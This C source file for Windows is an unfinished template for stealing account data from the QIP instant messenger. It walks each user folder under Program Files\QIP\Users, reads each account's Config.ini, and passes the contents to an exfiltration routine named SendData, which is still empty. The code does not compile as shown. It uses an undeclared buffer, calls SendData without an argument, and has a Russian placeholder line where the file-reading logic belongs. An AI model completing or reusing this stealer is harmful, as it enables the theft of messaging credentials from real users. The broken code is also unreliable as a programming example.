#undef UNICODE
#include <Windows.h>
#include <WinInet.h>
#include <stdio.h>

void SendData(char* Buf)
{

}

void ProgressFile(char* FileName, char* DirName)
{
    FILE*   f;
    char    result[4096];

    f = fopen(FileName, "r");
    if (!f)
    {
        return;
    }

    sprintf(result, "%s:", DirName);

    while (!feof(f))
    {
        fgets(buf, sizeof(buf), f);

        далее твой код считывания файла
    }

    SendData();

    fclose(f);
}

int WINAPI WinMain(HINSTANCE hInstance,
                   HINSTANCE hPrevInstance,
                   LPSTR lpCmdLine,
                   int CmdShow)
{
    char    ProgramFiles[MAX_PATH];
    char    Path[MAX_PATH];
    DWORD   Status;
    HANDLE  hFile;
    WIN32_FIND_DATA fdata;


    Status = ExpandEnvironmentStrings("%ProgramFiles%", ProgramFiles, sizeof(ProgramFiles));
    if (Status == 0 || Status > MAX_PATH)
    {
        return 0;
    }

    sprintf(Path, "%s\\QIP\\Users\\*.*", ProgramFiles);

    hFile = FindFirstFile(Path, &fdata);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 0;
    }


    do
    {
        if (!strchr(fdata.cFileName, '.'))
        {
            sprintf(Path, "%s\\QIP\\Users\\%s\\Config.ini", ProgramFiles, fdata.cFileName);

            ProgressFile(Path, fdata.cFileName);
        }

    } while(FindNextFile(hFile, &fdata));

    FindClose(hFile);

    return 0;
}